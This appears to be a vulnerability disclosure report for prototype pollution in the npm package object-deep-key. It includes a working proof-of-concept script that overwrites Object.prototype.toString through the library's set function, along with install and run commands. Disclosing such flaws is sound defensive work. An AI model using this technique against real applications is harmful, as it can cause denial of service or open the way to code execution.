Prototype Pollution in danieldelcore/object-deep-key
Valid
Reported on
Jan 10th 2021
Description
object-deep-key
is vulnerable to Prototype Pollution
.
Proof of Concept
- Create the following PoC file:
// poc.js
const objDeepKey = require('object-deep-key').default
console.log('Before: ', {}.toString)
objDeepKey(constructor.prototype, 'toString').set('function prototype polluted')
console.log('After: ', {}.toString)
- Execute the following commands in the terminal:
npm i object-deep-key # install vulnerable package
node poc.js # run the PoC
- Check the output:
Before: function toString() { [native code] }
After: function prototype polluted
Impact
Prototype Pollution
leads to Information Disclosure/DoS/RCE.
to join this conversation